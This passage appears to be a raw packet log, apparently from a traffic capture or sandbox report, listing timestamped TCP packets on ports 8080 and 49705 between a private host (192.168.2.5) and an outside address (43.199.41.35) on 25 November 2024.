Nov 25, 2024 11:10:19.917109013 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.917215109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.917264938 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.917980909 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.918070078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.918126106 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.918908119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.964009047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.024415970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.024452925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.024504900 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.024673939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.024857998 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.024908066 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.025646925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.025665045 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.025715113 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.026421070 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.026694059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.026736975 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.027148008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.027203083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.027246952 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.027940035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.028026104 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.028075933 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.028882027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.029014111 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.029057026 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.029973984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.052447081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.052505970 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.052511930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.052800894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.052844048 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.052989006 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.053096056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.053134918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.053936005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.054008007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.054049969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.054780960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.054874897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.054915905 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.055638075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.055742025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.055788994 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.056574106 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.056725979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.056768894 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.057492971 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.057559967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.057600021 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.058347940 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.058434010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.058495045 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.059201002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.059338093 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.059380054 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.060833931 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.060898066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.060939074 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.079778910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.079889059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.079932928 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.080005884 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.080152035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.080192089 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.080878973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.081130028 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.081285000 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.081788063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.082010984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.082056999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.082698107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.082911968 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.082952976 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.083518028 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.083702087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.083743095 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.084580898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.084640026 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.084681988 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.085500956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.085576057 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.085618019 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.086318970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.086389065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.086429119 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.087081909 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.087194920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.087238073 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.088013887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.088068008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.088114977 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.088805914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.089013100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.089068890 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.089742899 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.089828968 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.089874029 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.090805054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.090817928 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.090858936 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.091526031 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.091630936 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.091675997 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.092417955 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.092434883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.092472076 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.093390942 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.093409061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.093449116 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.094141960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.094259977 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.094299078 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.095076084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.095190048 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.095232964 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.095943928 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.096040964 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.096343994 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.096813917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.096867085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.096908092 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.097750902 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.097887993 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.097927094 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.098704100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.098716021 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.098762989 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.099591970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.099729061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.099772930 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.100430965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.100531101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.100575924 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.101416111 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.101427078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.101469040 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.102174044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.102260113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.102304935 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.103128910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.103142977 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.103514910 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.103923082 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.104007959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.104048967 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.104794025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.104912996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.104954958 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.105679989 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.105869055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.105920076 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.106570959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.106663942 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.106703043 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.107510090 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.107568979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.107610941 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.108336926 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.108397961 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.108441114 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.109244108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.109368086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.109478951 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.110114098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.110239983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.110281944 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.110977888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.151492119 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.221746922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.221764088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.221826077 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.221884012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.222033978 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.222079992 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.222786903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.222876072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.222934961 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.223762035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.223877907 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.223922014 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.224567890 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.224669933 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.224714041 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.225430965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.225580931 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.225622892 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.226325989 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.226444960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.226495028 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.227180958 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.244632959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.244643927 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.244698048 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.244757891 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.244808912 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.244853973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.245697975 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.245712042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.245738029 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.246506929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.246551991 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.246646881 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.247431993 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.247483969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.247529984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.248399973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.248414040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.248444080 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.249454975 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.249497890 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.249552965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.250140905 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.250186920 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.250230074 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.250972033 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.251019001 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.251033068 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.251861095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.251908064 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.251935959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.252790928 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.252852917 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.271778107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.271842003 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.271997929 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.272176981 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.272416115 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.272463083 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.273086071 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.273256063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.273300886 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.273956060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.274158001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.274229050 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.274849892 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.274943113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.274986029 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.275744915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.275881052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.275926113 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.276715994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.276730061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.276863098 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.277493000 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.277597904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.277641058 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.278414011 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.278481007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.278525114 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.279325962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.279396057 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.279437065 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.280164003 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.280273914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.280313969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.281035900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.281117916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.281157970 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.282027960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.282080889 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.282135010 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.282865047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.282902956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.282943964 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.283693075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.283771992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.283983946 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.284631014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.284723997 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.284774065 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.285517931 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.285593033 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.285638094 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.286410093 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.286533117 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.286581039 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.287281036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.287305117 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.287353992 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.288266897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.288306952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.288350105 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.289026022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.289124966 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.289172888 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.289916992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.289999962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.290045023 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.290817976 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.290913105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.290961027 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.291701078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.291805983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.291944981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.292653084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.292692900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.292737961 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.293437004 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.293559074 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.293600082 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.294352055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.294434071 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.294476986 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.295238018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.295348883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.295391083 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.296091080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.296278954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.296319962 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.297008038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.297118902 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.297158003 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.297909021 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.298043013 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.298084021 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.298809052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.298943043 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.298983097 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.299654007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.299745083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.300009966 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.300592899 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.300692081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.300746918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.301455021 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.301580906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.301779032 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.302371025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.302467108 CET	8080	49705	43.199.41.35	192.168.2.5
